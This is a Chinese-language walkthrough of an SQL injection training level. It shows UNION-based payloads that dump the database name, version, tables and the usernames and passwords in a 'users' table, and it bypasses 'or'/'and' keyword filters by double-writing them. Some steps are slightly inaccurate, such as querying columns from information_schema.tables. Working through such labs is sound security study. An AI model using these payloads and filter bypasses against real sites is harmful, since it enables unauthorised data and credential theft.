这一关又变成了get请求了
从欢迎界面我们可以知道的是他要我们以id作为参数名称
首先我们先判断一下注入类型
输入如下
id=1 and 1=2;--+
从这里我们可以知道#注释符不起作用了 被注释了
所以只能用--+注释符
这个语句正确回显了
所以属于字符型注入
然后在输入一下如下语句
id=1'
回显如下
然后佐证一下 使用我们刚才判断出来的注释符
回显如下
这一关我们就用联合注入吧
输入如下
id=-1' union select 1,2,3;--+
回显如下 可知回显点
接着进行爆库/版本操作
输入如下
id=-1' union select 1,database(),version();--+
回显如下
接着进行爆表操作
输入如下
id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database();--+
竟然报错了
提示我们无法访问table表格 于是我怀疑到了information上了因为这个名称存在or这个显眼的词 可能会被过滤掉 因此我们需要进行双写绕过处理 将information写成infoorrmation
成功回显
然后进行爆字段操作
输入如下
id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.tables where table_schema=database() and table_name='users';--+
还是报错了
报错如下
我怀疑是and出了问题 所以我怀疑后台服务器过滤了逻辑运算符
我将and写成anandd试试看
成功回显
接着进行爆用户民和密码的操作
输入如下
id=-1' union select 1,2,group_concat(username,password) from users;--+
我去有报错了 原来问题处在了password身上 因为他中间含有一个or
我们将password写成passwoorrd
也是成功回显
这时候我才发现欢迎界面的提示语or和and属于题目 害我判断了半天 嗨嗨 没事 加深印象